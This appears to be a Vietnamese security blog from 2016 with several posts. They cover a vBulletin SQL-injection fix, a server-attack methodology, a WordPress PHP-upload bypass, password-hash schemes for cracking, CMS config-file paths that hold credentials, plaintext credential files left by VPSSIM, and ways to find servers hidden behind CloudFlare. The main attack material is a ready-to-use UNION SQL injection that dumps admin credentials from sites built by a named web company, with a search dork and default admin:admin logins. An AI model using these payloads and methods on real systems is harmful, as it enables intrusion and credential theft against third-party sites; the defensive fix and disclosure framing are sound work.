Thứ Ba, 15 tháng 11, 2016

Fix bug exploit vBulletin 4.2.3 SQL Injection

Exploit này dù đã được public từ rất lâu rồi (năm 2015), nó cũng được fix ở các version mới hơn nhưng sau hơn một năm thì ở VN vẫn còn rất nhiều admin sử dụng những version cũ và điều này lại càng nguy hiểm hơn khi một số trang web public exploit của nước ngoài lại repost exploit này lên.

Năm ngoái mình có report khá nhiều cho các admin các forum để họ fix rồi. Và vừa rồi mình cũng thử check sơ qua và thấy hiện tại vẫn có rất rất nhiều những hệ thống lớn sài mã nguồn Vbulletin có số lượng thành viên trên 100.000 thậm chí ở hàng triệu thành viên vẫn tồn tại lỗ hổng nguy hiểm này, nên mình có nhờ một người bạn để public cách fix bug cho những admin nào không muốn nâng cấp lên các version mới vì lý do nào đó.

##################################################################################################
#Exploit Title : vBulletin <= 4.2.3 SQL Injection (CVE-2016-6195)
#Author        : Manish Kishan Tanwar AKA error1046 (https://twitter.com/IndiShell1046)
#Date          : 25/08/2015
#Love to       : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi
#Tested At  : Indishell Lab(originally developed by Dantalion)
##################################################################################################
 
 
////////////////////////
/// Overview:
////////////////////////
  
VBulletin version 3.6.0 through 4.2.3 are vulnerable to SQL injection vulnerability in vBulletin core forumrunner addon.
Vulnerability was analized and documented by Dantalion (https://enumerated.wordpress.com/2016/07/11/1/)
so credit goes to Dantalion only :)

Cách Fix:

Vào file /forumrunner/request.php tìm dòng có nội dung: define('BYPASS_AEO', true); và thêm vào đoạn mã fix như bên dưới:

define('BYPASS_AEO', true);
if(isset($_REQUEST['postids']))
{
  $postids = explode(",",$_REQUEST['postids']);
  foreach($postids as $upostid)
  {
    if(!is_numeric($upostid))
    {
      die("Lam gi do co ich cho xa hoi di ban.");
    }
  }
}

Hãy fix trước khi quá muộn.

Concobe

Thứ Sáu, 14 tháng 10, 2016

Những phương thức tấn công một máy chủ.

Có rất nhiều hướng tấn công và cách thức sử dụng để tấn công một máy chủ, một victim nào đó ở đây tôi tóm tắt lại trong vài trường hợp phổ biến mà các hacker hay sử dụng trong quá trình tấn công với trường hợp cụ thể.

I. Máy chủ chỉ chạy những dịch vụ cơ bản và ít website.
II. Máy chủ là share host cài đặt nhiều dịch vụ và có khá nhiều website khác nhau.

Chúng ta sẽ đi chi tiết vào từng phần để hiểu rõ hơn về hướng tấn công trong mỗi trường hợp.

I. Máy chủ chỉ chạy những dịch vụ cơ bản và ít website.: Với trường hợp này thì sẽ tốn nhiều công sức và độ khó của việc tấn công sẽ tăng cao hơn và vẫn quan trọng nhất là quá trình thu thập thông tin của hệ thống.

1. Tìm địa chỉ IP của máy chủ, xác định máy chủ sài HĐH nào?
2. Tìm những lỗ hổng đã được public tương ứng với HĐH victim đang sử dụng để tấn công.
3. Tìm kiếm các Port của máy chủ đang open, và dựa vào đó xác định các dịch vụ server đang sử dụng để tìm thông tin lỗ hổng.
4. Tìm kiếm thông tin liên quan của chủ nhân máy chủ đó.
5. Tìm kiếm thông tin của người sở hữu website hay dịch vụ mà server đang sử dụng.
6. Tìm kiếm lỗ hổng của website hay dịch vụ đang sử dụng trên server với các lỗ hổng phổ biến.
7. Tổng hợp những thông tin các bạn đã có để tiến hành áp dụng vào thực tế của victim đang tấn công.

Với những thông tin các bạn đã có trong 7 bước trên, nếu các bạn nghiêm túc và thu thập tốt thì việc tấn công sẽ chỉ còn là vấn đề thời gian và tất nhiên tôi đảm bảo thời gian sẽ không dài để chiếm lấy victim này đâu.Ở đây đơn cử mục số 1,2 và 3 khi bạn có IP máy chủ, biết được máy chủ sài HĐH gì và port nào đang mở thì các bạn có thể tùy biến rất nhiều hướng tấn công tùy vào trường hợp cụ thể như :
- Sử dụng exploit của HĐH đang sử dụng để leo thang và chiếm quyền cách này hơi phức tạp nhưng nếu thành công các bạn sẽ chiếm được quyền cao nhất, ở VN thì việc update HĐH với tôi thì vẫn còn là điều xa xỉ nên các bạn cứ yên tâm theo cách này trước.
- Tổng hợp những thông tin thu thập 3,4,5 để tiến hành brute-force vào các dịch vụ trọng yếu như SSH, RDP, FTP, hay control panel site,...
- Nếu nghiêm túc và may mắn có thể chỉ cần đến bước này các bạn đã có thể chiếm được quyền để vào máy chủ victim rồi.

II. Máy chủ là share host cài đặt nhiều dịch vụ và có khá nhiều website khác nhau.

Với trường hợp này tôi vẫn tiếp tục quá trình như ở I với các bước 1,2,3,4,5,6,7 nếu vẫn chưa thể làm gì được thì tôi sẽ bắt đầu chuyển qua thu thập và tấn công trực diện các website đang có trên server để khai thác lỗ hổng, tôi quan niệm là không ai hoàn hảo cả chính vì thế nên khi server có càng nhiều website thì khả năng chiếm quyền sẽ cao lên rất nhiều vì sẽ có nhiều người mắc phải những lỗi cơ bản và ở đó tôi có thể tận dụng được.

6. Tìm kiếm lỗ hổng của website hay dịch vụ đang sử dụng trên server với các lỗ hổng phổ biến.

- Tôi chú trọng phần này vì chắc chắn rằng sẽ có site nào đó tồn tại những lỗ hổng phổ biến như SQLi, LFI, RCE,...hay đơn giản là sử dụng mật khẩu quá dễ cho quản trị để các bạn chiếm quyền, tôi khẳng định điều này vì trong suốt quá trình pentest bao năm qua tôi tổng hợp lại dựa vào kinh nghiệm thật.
- Khi các bạn chiếm được site con rồi thì bây giờ những thông tin về hệ thống từ mục 1,2,3,4,5 sẽ giúp các bạn leo thang để chiếm quyền cao nhất.
- Các bạn tham khảo thêm bài viết "Những sai lầm nguy hiểm của webmaster" trên blog của tôi để đẩy nhanh quá trình tấn công dựa vào những điểm yếu đó.

Kết luận: Dù bạn tấn công hay pentest thì tôi vẫn khuyên các bạn nên theo đúng chuẩn các quy trình tấn công của một giáo trình nào đó có tiếng như CEH,...Để đạt hiệu quả cao nhất.

Concobe

Thứ Bảy, 10 tháng 9, 2016

Những sai lầm nguy hiểm của webmaster

Bạn là webmaster? bạn đã làm những gì để bảo vệ đứa con tinh thần của mình? Sau đây tôi sẽ liệt kê những sai lầm mà các webmaster rất hay mắc phải dẫn đến việc hệ thống của các bạn bị tổn hại khi bị tấn công.
1. Sử dụng mật khẩu dễ cho người quản trị.
2. Sử dụng chung mật khẩu cho tất cả.
3. Sử dụng mã nguồn tổng hợp, dựng sẵn được chia sẻ rộng rãi trên mạng.
4. Sử dụng những công cụ sao lưu dữ liệu.
5. Để lại tập tin sao lưu mã nguồn.
6. Không thường xuyên update mã nguồn và hệ thống.
Còn rất nhiều nhưng tôi chỉ liệt kê những sai lầm mà tôi thấy có rất nhiều quản trị mắc phải trong suốt những năm mà tôi đi hack, đi kiểm thử, những sai lầm này thường dẫn đến những hậu quả mà không ai mong muốn và sau đây tôi sẽ đi vào chi tiết các mục đó.

1. Sử dụng mật khẩu dễ cho người quản trị.
Đây thật sự là vấn đề nhức nhối vì đã từ rất lâu rồi việc cảnh báo sử dụng mật khẩu yếu, mật khẩu dễ đoán cho người quản trị đã tràn ngập trên mạng, những vụ tấn công lớn cũng có nhiều vụ xuất phát từ việc quản trị sử dụng mật khẩu hớ hênh và bị khai thác.Với tôi thì đây là điều khó có thể chấp nhận với một người quản trị web mà họ quản lý, rất nhiều quản trị sử dụng mật khẩu 123456, admin, 12345678, 123456789,...Và nếu thật sự bạn đang sử dụng những mật khẩu dạng quá phổ biến như vậy thì hãy mau chóng đổi lại những mật khẩu đó theo chuẩn an toàn gồm ( ký tự chữ thường, ký tự viết hoa, ký tự số, ký tự đặc biệt, với độ dài ít nhất là 8 ký tự ).

2. Sử dụng chung mật khẩu cho tất cả.
Vấn đề này cũng tương đương với mục thứ nhất tôi đưa ra về mức độ nguy hiểm mà nó mang lại cho các quản trị, không ít bạn sử dụng một mật khẩu cho toàn bộ tài khoản của các bạn và sử dụng chúng một cách phổ biến, rộng rãi, nghĩa là chỗ nào các bạn cũng dùng mật khẩu đó cho tài khoản của các bạn.Và điều này sẽ đem lại sự dễ dãi, thoải mái cho những ai đang muốn triệt hạ bạn vì chỉ cần khai thác được một điểm yếu ở những nơi bạn có thông tin thì mọi thứ với bạn sẽ chấm hết.
Cách đây không lâu tôi có một người bạn trong lúc rảnh rỗi đã viết một cái công cụ nhỏ để kiểm thử những trang web của một cty thiết kế web có tiếng ở VN và sự thật không thể phũ phàng hơn khi cậu ấy tìm kiếm và lưu danh sách của những website thuộc cty đó và chạy công cụ đó với kết quả hơn 80% sử dụng chung username và password cho người quản trị cao nhất, thật tệ hại.
Nếu bạn đang có thói quen này, bạn nên chấm dứt nó ngay lập tức và tiến hành đổi mới mật khẩu của mình ở những tài khoản trọng yếu (mail, ngân hàng,...) để không gặp sự cố đáng tiếc xảy ra.

3. Sử dụng mã nguồn tổng hợp, dựng sẵn được chia sẻ rộng rãi trên mạng.
"Không ai cho không ai thứ gì"
Đây là câu nói từ ngàn xưa ông bà, cha mẹ chúng ta vẫn hay nhắc nhở nhưng đôi khi chỉ vì chút lười biếng và thói quen thích hàng làm sẵn mà các bạn nhắm mắt làm liều để rồi hệ thống bị tấn công ồ ạt và tan nát.Mã nguồn dựng sẵn (download về sửa vài thứ là có nguyên một trang web hoàn chỉnh sử dụng.) thường đi kèm với nhiều mối nguy hiểm, nhiều mã độc được đính kèm để tận dụng khi bạn sử dụng mã nguồn đó, rất nhiều bạn hay đi zip source của nạn nhân nào đó rồi về chia sẻ lên mạng kèm theo cả những thứ mà bạn không hề muốn, cuối cùng chỉ những người dễ dãi, sử dụng là sập bẫy và bị lợi dụng lại.
Hãy tự mình xây dựng cho mình một trang web, dù nó không được thẩm mỹ như những thứ bạn được share nhưng chí ít nó cũng an toàn với bạn ở mức độ nào đó.

4. Sử dụng những công cụ sao lưu dữ liệu.
Sai lầm này đôi khi chỉ là do ý thức của mỗi người vì sự tiện lợi nên các bạn hay sử dụng để sao lưu nhưng lại quên hay vô tình cố ý để lại, dẫn đến việc bị lộ cơ sở dữ liệu của trang web, hệ thống, tôi thấy có khá nhiều tình huống này trong quá trình tấn công.Một số công cụ mà các bạn hay sử dụng như mysqlDumper, phpMyAdmin, sypex, các công cụ backup mì ăn liền của VN.Một số công cụ có thể giúp các hacker truy cập thẳng vào CSDL mà các bạn đang sử dụng và toàn quyền quyết định nó (mysqldumper), một số thì bắt xác thực, nhưng vẫn tồn tại những nguy hiểm khi các bạn để nó trên hệ thống của các bạn.Và nếu kết hợp các công cụ sao lưu này với mục sai lầm số 5 thì chúng ta sẽ có được một sự kết hợp kinh hoàng.

5. Để lại tập tin sao lưu mã nguồn.
Đây cũng là những sai lầm rất phổ biến của các webmaster khi quản lý trang web của mình, vì một lý do nào đó các bạn sao lưu lại toàn bộ hệ thống và để luôn trên đó với toàn bộ thông tin nhạy cảm và ai cũng có thể download được thì thật là một điều kinh khủng, bạn đã tự mình phơi mình ra cho người khác hành xử tùy ý rồi.
Kết hợp những thông tin có được khi tải về và các công cụ đang có sẵn trên website của các bạn thì việc chiếm lấy quyền quản trị cao nhất cũng không còn là vấn đề to tát.

6. Không thường xuyên update mã nguồn và hệ thống.
Một trong những sai lầm rất phổ biến của người quản trị là họ rất ít update hệ thống đang chạy vì họ nghĩ nó vẫn còn tốt mà, update làm gì, chính vì tư tưởng này dẫn đến việc website họ quản lý tồn tại những lỗ hổng đã được công bố từ rất lâu và ai cũng có thể dễ dàng khai thác hệ thống của họ.Có khá nhiều trường đại học và các cơ quan vẫn đang sử dụng những công nghệ rất cũ (2009) tồn tại rất nhiều lỗ hổng nguy hiểm nhưng họ vẫn không cập nhật dù đã được thông báo, tôi đã không ít lần gởi những cảnh báo lỗ hổng đến những người quản trị và có một số hồi đáp cảm ơn nhưng một thời gian sau tôi quay lại thì hệ thống vẫn như cũ, chỉ rất ít quản trị tiến hành vá lỗi.Còn đa phần họ im lặng không hồi đáp.Và như thế khi hệ thống của họ bị những thành phần xấu tấn công thì hậu quả không thể nào đong đếm được.

Qua đó nếu bạn thấy mình mắc phải những điểm yếu ở trên thì hãy nhanh chóng cải thiện, để hệ thống được an toàn và không phải hối tiếc về sau.

Concobe

Trick bypass upload php trên mã nguồn wordpress

Vụ này tôi biết đến nó cũng vài năm về trước rồi, nhưng không hiểu sao các dev của wordpress lại không hạn chế hay có thêm ràng buộc nào để cải thiện đôi chút an toàn cho người dùng.Vốn dĩ khi đã vào được Dashboard thì mọi thứ coi như chấm dứt rồi nhưng cũng có lúc vì bị chặn mà không thể chỉnh sửa template hay upload plugin mới dạng .zip có kèm mã độc trong đó, và đây là cách giải quyết vấn đề.

Yêu cầu:
- Có tài khoản của quản trị và login vào Dashboard.

Thực hiện:
- Vào link sau để thấy form upload: /wp-admin/plugin-install.php?tab=upload
- Chọn và upload file.php bất kỳ như lúc upload plugin.zip.
- Bỏ qua các thông báo lỗi.
- Tìm link file mới upload lên: /wp-content/uploads/Year/Month/file.php
- Vd: /wp-content/uploads/2016/09/file.php

Kết thúc.

Concobe

Thứ Sáu, 2 tháng 9, 2016

Những cuộc pentest âm thầm.

Tôi thường online trong các group của những bạn cùng chung chí hướng, đam mê bảo mật, thích hacking, thích phá phách và thích show off, cũng không ít lần tôi gặp những comment đại loại như:
"trẻ trâu, trò mèo, bug cái lolz gì,... ngon hack site tao đi, server tao nè hack dùm cái đi, bla bla bla,...".Với những trường hợp như vầy thường thì tôi bỏ qua không quan tâm vì đôi khi họ quá tự tin, hay chỉ vì một chút bốc đồng rồi nói thế, cũng có người có chút ít kiến thức và lên mặt, mọi thứ đều không đáng để tâm.Nhưng ai đó lặp lại vài lần lời thách thức thì tôi cũng có chút lưu ý, note lại và lúc rảnh rỗi tôi sẽ "liếc qua" chút xíu.

Thường thì theo kinh nghiệm của tôi đa số những người nói câu đó đều "nguy hiểm" và hệ thống của họ thường lại mắc những lỗi vô cùng phổ biến và có độ nguy hiểm rất cao, vì những sysadmin hay chuyên gia bảo mật họ rất điềm đạm, không khoe mẽ và chăm chút cho hệ thông họ quản lý hàng ngày. Đơn cử khoảng đầu và trung tuần tháng 8/2016 tôi có gặp hai hệ thống dạng đó.Họ rất tự tin về hệ thống mà họ xây dựng từ code đến server và đây là những lỗi mà tôi đã pentest rồi phát hiện và thực hiện chiếm quyền lên mức cao nhất có thể.

I. Hệ thống thứ nhất: Đây là một công ty dạy bảo mật và dưới đây là những lỗ hổng mà họ mắc phải:
- Hệ thống sài mã nguồn wordpress với nhiều trang web đã từ lâu không update core, plugin, và theme.
- Nhiều trang web tồn tại những lỗ hổng nguy hiểm cao, SQLi, RCE, LFI...
- Sài chung mật khẩu cho các tài khoản ở nhiều nơi.
- Sử dụng mật khẩu với độ phức tạp không cao, dễ đoán.
- Gần như không áp dụng biện pháp bảo vệ nào để bảo vệ hệ thống khi họ là những người đi dạy bảo mật cho người khác.

Kết luận I: Với hệ thống thứ nhất này, tôi tốn khoảng gần hai giờ đồng hồ từ khi bắt đầu thu thập thông tin và pentest với những lỗ hổng và thông tin có được ở trên thì tôi đã nắm được gần như hết những gì mà công ty đó đang triển khai và sử dụng gồm bao gồm cả những thông tin như
tài khoản login các trang web, email, thông tin để quản lý domain, host,...Cuối cùng kết thúc quá trình kiểm thử tôi gởi toàn bộ thông tin và quá trình tôi đã kiểm thử qua cho người đang quản lý hệ thống đó, rất may mắn là họ chú trọng và hồi âm rất sớm đồng thời tiến hành vá những lỗ hổng mà tôi đã cung cấp cho họ.

II. Hệ thống thứ hai: Đây là một lập trình viên, cũng có nhiều thành quả với nhiều website và hệ thống đang quản lý.
- Hệ thống sài mã nguồn tự code nên có những lỗ hổng khá phổ biến như XSS, SQLi, FPD.
- Lỗ hổng thiếu ràng buộc khi kiểm tra và sàng lọc file trước khi upload lên hệ thống (tôi dùng để bypass để tải lên thành công mã độc).
- Như một thói quen admin hệ thống này sài chung mật khẩu cho tất cả các site.
- Sử dụng mật khẩu quá phổ biến và dễ đoán (a123456, 123456), khá bất ngờ khi phát hiện điều này.
- Sử dụng các script hỗ trợ cài đặt, tùy chỉnh và quản lý server phổ biến VPSSIM với nhiều điểm hở mà tôi đã có bài viết trên blog.

Kết luận II: Khác với hệ thống thứ nhất thì ở hệ thống thứ hai này tôi đối mặt với toàn bộ mã nguồn và hệ thống đều do một người xây dựng và quản lý, dẫu nghĩ rằng sẽ gặp khó khăn nhưng với những lỗi mắc phải cơ bản ở trên nên tôi đã rút ngắn được quá trình kiểm thử và có được những thông tin cao nhất mà họ có.Vẫn như một thói quen, tôi inbox gởi thông tin lỗi và gợi ý cách fix, lần này tôi tiếp tục gặp may mắn khi người quản trị hồi âm và trao đổi với tôi.

Lời kết: Dù bạn là ai, hãy sống trầm lặng và khiêm nhường thêm chút nữa vì đôi khi sự may mắn không mỉm cười với bạn và hệ thống các bạn sẽ gặp nhiều tổn hại, ảnh hưởng đến kinh tế và uy tín lúc đó rất khó khăn cho bạn.

Concobe

Chủ Nhật, 28 tháng 8, 2016

Thuật toán mã hóa của các mã nguồn phổ biến

Khi bạn kiểm thử hay tấn công một website nào đó thì sẽ có lúc các bạn phải tìm cách giải mã những mật khẩu đã được mã hóa trên đó, và lúc này chúng ta phải biết được chính xác thuật toán mã hóa mà đối tượng đang sử dụng là gì thì mới có thể tiến hành các bước để giải mã hoặc brute-force nhằm đạt được kết quả là bản rõ của mật khẩu đó (plain text).Trong bài viết này tôi sẽ cung cấp một số thuật toán mã hóa của các mã nguồn web đang được sử dụng phổ biến hiện nay ở mức ngắn gọn nhất có thể, nếu có thời gian tôi sẽ viết thêm chi tiết thuật toán của từng mã nguồn đang sử dụng bao gồm (tập tin chứa thuật toán, các dòng mã,...).


1. Thuật toán mã hóa mật khẩu của mã nguồn Vbulletin.
Mã nguồn này có nhiều version và ở mỗi giai đoạn sẽ có thuật toán khác nhau.
- vBulletin < 5.x dùng thuật toán: md5(md5($pass).$salt)
- vBulletin > 5.x dùng thuật toán Bcrypt : $hash = password_hash($password, PASSWORD_BCRYPT); (1)

2. Thuật toán mã hóa mật khẩu của mã nguồn Xenforo.
Cũng tương tư như Vbulletin thì Xenforo cũng có hai giai đoạn nâng cấp và thay đổi thuật toán mã hóa khác nhau, ở giai đoạn một thì quản trị sẽ tùy chọn một trong hai thuật toán là Sha1 hoặc Sha256 hoặc để mặc định là sha1.Các version hiện nay và có lẽ sau này thì xenforo sẽ dùng thuật toán mã hóa Blowfish vì nó an toàn trong thời điểm hiện tại.Để rõ hơn cách mã hóa các bạn vui lòng xem nội dung file /library/XenForo/PasswordHash.php.
Giai đoạn 1: sha1(sha1($password).$salt) hoặc sha256(sha256($password).$salt)
Giai đoạn 2: Blowfish(OpenBSD) (2)

3. Thuật toán mã hóa mật khẩu của mã nguồn MyBB v1.2+ và IPBoard v2+.
Hai mã nguồn MyBB và IPBoard có sự tương đồng trong việc mã hóa thuật toán giống nhau nên mình gộp lại chung cho dễ theo dõi.
MyBB: $hashedpsw = md5(md5($salt).md5($plainpassword));
MyBB v1.2+ và IPBoard v2+ : md5(md5($salt).md5($pass));

4. Thuật toán mã hóa mật khẩu của mã nguồn phpBB.
Các version hiện tại của phpBB đã chuyển hết qua dùng thuật toán bcrypt thuần, các bạn có thể theo dõi nội dung code ở file /includes/ucp/ucp_register.php để nắm chi tiết hơn.

5. Thuật toán mã hóa mật khẩu của mã nguồn Joomla.

Joomla cũng có sự điều chỉnh thuật toán mã hóa khá nhiều lần ở các bản nâng cấp điều này chứng tỏ nhà phát triển Joomla chú trọng vấn đề bảo mật thông tin người dùng tốt và dưới đây là các thuật toán cho từng giai đoạn:
- Version 1.5 và 1.7 hoặc cũ hơn dùng : md5($password.$salt) xem chi tiết trong file /authentication/joomla.php
- Version > 1.7 < 3.x : dùng phpass các bạn xem chi tiết trong file /libraries/phpass/PasswordHash.php  (3)
- Version > 3.x hiện nay chuyển qua dùng hoàn toàn là BCrypt  (1)

6. Thuật toán mã hóa mật khẩu của mã nguồn Wordpress.
Nội dung của thuật toán mã hóa mà wordpress sử dụng nằm trong file wp-includes/class-phpass.php (xem online: https://github.com/WordPress/WordPress/blob/master/wp-includes/class-phpass.php)
- Các version wordpress đều dùng thuật toán mã hóa dựa trên thuật toán phpass (3) 


...

Tham khảo:
(1) : tham khảo thêm về thuật toán bcrypt: https://en.wikipedia.org/wiki/Bcrypt
(2) : Blowfish(OpenBSD) : https://en.wikipedia.org/wiki/Blowfish_(cipher) và https://en.wikipedia.org/wiki/OpenBSD
(3) : tham khảo thêm về thuật toán phpass: http://www.openwall.com/phpass/

Concobe

Điểm yếu bảo mật khi sài script tự cài webserver VPSSIM​

Hôm rồi (22/01/2015) lúc chém bão trên face với vài người bạn thì vô tình tìm được kẽ hở của những ai đang sài script tự cài webserver của bên hostingaz.vn và có thể bị chiếm full quyền root mysql nếu may mắn nó thể chiếm luôn quyền root server nếu sài chung mật khẩu.Bài viết này để chỉ ra những điểm yếu và cách khắc phục cho người viết script tự động cài đặt VPSSIM và người dùng hiện tại đang còn sử dụng script này.

Thông tin script:
https://hostingaz.vn/3455-cai-dat-nginx-mariadb-php-fpm-lemp-toi-uu-bao-mat-vps-centos-vpssim.html
Lỗi:
1. Lưu thông tin cài đặt của server vào file.
2. Lưu thông tin CSDL của host vào file.
3. Sài mặc định 1 cấu hình cho trình quản lý CSDL phpMyAdmin.
4. Gợi ý cải thiện vấn đề bảo mật.

Sau đây là chi tiết lỗi:

1. Lưu thông tin cài đặt của server vào file.
Khi cài đặt VPS bằng script này thì sau khi hoàn thành các bước nó sẽ tự động lưu lại toàn bộ thông tin quan trọng của hệ thông bao gồm IP thật của server, domain serrver, port quản lý CSDL .File lưu trên server nằm mặc định theo Path và name dưới đây:

/home/VPSSIM-Setup-info.txt




2. Lưu thông tin CSDL của host vào file.
Đây là điều rất nguy hiểm vì khi vào được server thì mọi thứ dường như là cho không biếu không rồi, và điều đáng nói ở đây chính là cả thông tin tài khoản kết nối đến CSDL của hosting cũng như thông tin tài khoản root của MariaDB đều lưu lại. Thật nguy hiểm.

/home/DBinfo.txt


Với user và password của hosting đều là ký tự số với cùng chiều dài và được tạo random nhưng rất dễ để bruteforce khi có hash vì có chiều dài chuỗi mật khẩu và định dạng của mật khẩu chỉ gồm số và chữ thường 0-9a-z

Thông tin quản lý của Root MariaDB với password: /home/vpssim.conf

mainsite="sim.domain-root-server.com"
priport="8386"
serverip="Real-IP-server"
mariadbpass="abc.12345.6"


3. Sài mặc định 1 cấu hình cho trình quản lý CSDL phpMyAdmin.
Cái này thì những ai sài nó đều có cấu hình và path chung của phpMyAdmin và nó cũng giống như bao Panel khác có điều nó được gia tăng thêm chút bảo mật đó là Port truy cập sẽ do chính mình cấu hình. Các bạn view file để xem cấu hình cụ thể chính xác nếu vào dc host victim.Cấu hình chung là path: sim.domain-root-server.com:port

Các bạn xem ở:  /home/vpssim.conf

mainsite="sim.domain-root-server.com"
priport="8386"
serverip="Real-IP-server"
mariadbpass="abc.12345.6"


4. Gợi ý cải thiện vấn đề bảo mật.
Việc lưu toàn bộ thông tin vào file với dạng plain text đã vốn dĩ rất nguy hiểm.Nhưng tác giả hoàn toàn không gia cố đôi khi chỉ bằng những biện pháp cơ bản dưới đây cũng hạn chế được khá nhiều rủi ro cho người dùng.
- Không lưu trữ thông tin khi cài đặt và tạo tài khoản mới vào file.
- Nếu có lưu trữ thì nên move ra ngoài hoặc tạo thư mục riêng và phân quyền cẩn thận chỉ có quyền root mới được phép xem.
- Riêng những bạn nào đang sử dụng script này thì cách tốt nhất là các bạn lưu trữ tại máy của các bạn hoặc ở đâu đó an toàn và xóa các file chứa thông tin này đi.


Concobe

Thứ Bảy, 27 tháng 8, 2016

Exploit website sài mã nguồn của cty VIETDESI​

Bài viết này tôi đã viết từ thời điểm ghi trong bài viết nhưng có nhiều lý do tế nhị nên tôi không public lỗ hổng mà giữ lại chờ cty khắc phục cho đến thời điểm hiện tại.Vẫn khuyến cáo các bạn nên cảnh báo cho cty và người dùng sau khi kiểm thử và phát hiện lỗi còn tồn tại để hạn chế gây tổn hại đến trang web còn tồn tại lỗi chưa được khắc phục hết.

# Thông tin Lỗi: SQL Injection các website sài mã nguồn của cty VIETDESI
# Nhà phát triển: Thiết kế web: cty VIETDESI - http://vietdesi.com/
# Chức năng: Website sài mã nguồn PHP của cty VIETDESI
# Phiên bản lỗi: Tất cả các phiên bản.
# Dork: "Designed by VietDesi"
# Phát hiện bởi: Concobe.
# Thông tin: http://concobexgr.blogspot.com/
# Ngày phát hiện: 25-03-2015

Chi tiết thông tin cty này.Các bạn vào đọc giúp.
http://vietdesi.com/

Rất nhiều website bị lỗ hổng này do sài chung một mã nguồn cho cty VIETDESI này tạo ra và không có lọc cũng như ràng buộc các truy vấn trong code, và vì cty này thành lập khá lâu từ lượng khách hàng cũng không ít :(

Chi tiết lỗ hổng:
1. Dính lỗi SQL injection ở phần chi tiết sản phẩm, lười check thêm những phần khác...
2. Victim demo:

1. Dính lỗi SQL injection ở phần chi tiết sản phẩm /index.php?frame=product_detail&id=
Select user, version, database name:
/?frame=product_detail&id=-481 UNION SELECT 1,2,group_concat(user(),0x3a,version(),0x3a,database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42-- -

Select table name:
/?frame=product_detail&id=-481 UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from information_schema.tables where table_schema=database()-- -

Select column name: jcas_admin
/?frame=product_detail&id=-481 UNION SELECT 1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from information_schema.columns where table_name=0x6a6361735f61646d696e-- -

Select info: column: id,admin_user,admin_pwd,is_super_admin,privilege
/?frame=product_detail&id=-481 UNION SELECT 1,2,group_concat(id,0x3a,admin_user,0x3a,admin_pwd,0x3a,is_super_admin),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from jcas_admin-- -

2. Victim demo:
Các bạn có thể tự tìm kiếm cho quá trình kiểm thử của mình.

3. Thêm lỗi sơ xuất của người dùng:
Link admin mặc định là : site.com/admin/
user và password dùng chung cho hầu hết là:
admin:admin

Concobe

Đường dẫn cấu hình CSDL một số mã nguồn phổ biến

Path config file

Dưới đây là danh sách đường dẫn tập tin cấu hình (config database file) các mã nguồn dùng cho các diễn đàn phổ biến hiện nay.


Vbulletin: public_html/includes/config.php
Xenforo: public_html/library/config.php
MyBB: public_html/inc/config.php
phpBB: public_html/config.php
IPBoard: public_html/conf_global.php
Discuz: public_html/config/config_ucenter.php

Dưới đây là danh sách đường dẫn tập tin cấu hình user và pass database các mã nguồn dùng cho các trang web, shop phổ biến hiện nay.

Joomla: public_html/configuration.php
WordPress: public_html/wp-config.php
Nukeviet: public_html/config.php
Drupal: public_html/sites/default/settings.php
Magento: public_html/magento/app/etc/local.xml
Opencart: public_html/admin/config.php
Prestashop public_html/config/settings.inc.php
ZenCart: public_html/includes/configure.php
osCommerce: public_html/includes/configure.php
CakePHP: public_html/app/Config/database.php
Codeigniter: public_html/application/config/database.php

Một số tập tin chứa thông tin kết nối vào cơ sở dữ liệu của những mã nguồn ít người sử dụng ở VN.

Bo-Blog: public_html/data/config.php
php-fusion: public_html/config.php
Smf: public_html/Settings.php
phpnuke: public_html/html/config.php
Xoops: public_html/mainfile.php
setidio: public_html/datas/config.php
Textpattern: public_html/textpattern/config.php
Serendipity: public_html/serendipity_config_local.inc.php
Pligg CMS: public_html/libs/dbconnect.php
Pivotx: public_html/pivotx/includes/minify/config.php

Concobe

Cách tìm ra IP thật khi đối tượng sử dụng CloudFlare


Bypass cloudflare

Trong quá trình kiểm thử tôi có từng gặp rất nhiều đối tượng sử dụng cloudflare để bảo vệ IP thật của server để ẩn danh hoặc hạn chế bị tấn công từ chối dịch vu,...Và nhiệm vụ của tôi cũng phải làm đủ mọi cách có thể để tiến hành kiểm thử nhằm đạt được kết quả tốt nhất và phát hiện những điểm yếu trong hệ thống hay trong cách cấu hình của khách hàng, từ đó đưa ra những giải pháp tối ưu, hôm nay tôi sẽ trình bày những cách qua mặt cloudflare phổ biến.

1. Xem header của email.
Đây có lẽ là cách phổ biến và kết quả thu được cũng khá chính xác với tỉ lệ thành công theo cá nhân tôi là khá cao và cách thực hiện cũng khá đơn giản.
- Đăng ký một tài khoản và chờ email kích hoạt gởi về, sau đó chọn xem nội dung mail dạng đầy đủ.
- Nếu đã có tài khoản các bạn dùng chức năng quên mật khẩu để nhận mail reset và xem nội dung cũng tương tự.

Với gmail sau khi login vào hộp thư, chọn email cần xem và chọn tiếp More... -> Show Orginal và xem thông tin ở tab mới được mở ra.





Với Yahoo sau khi login vào hộp thư, chọn email cần xem và chọn tiếp ...More -> View Raw Message và xem thông tin ở tab mới được mở ra.



X-Originating-IP: [Địa chỉ IP cần lấy.]


2. Tìm kiếm thông tin khi đăng ký tên miền.
Cách này có tỉ lệ thành công tương đối và thường chỉ tác dụng với những đối tượng sử dụng thông tin lúc đăng ký mua tên miền và host nhưng không thay đôi.
- Các bạn có thể tìm theo dạng Who is domain trên google và sẽ có khá nhiều kết quả rồi sàng lọc thông tin dựa vào các kết quả đó.

3. Tìm kiếm dựa vào subdomain, dịch vụ của victim.
Cách này tuy tỉ lệ thành công không cao và không phổ biến nhưng vẫn có thể áp dụng vì đôi khi chúng ta có thể có được những thứ quan trọng từ những thứ không thể ngờ.
vd các dịch vụ phổ biến:
ping ftp.domain.com
ping mail.domain.com
ping webmail.domain.com
...

4. Dùng công cụ được chia sẻ online.
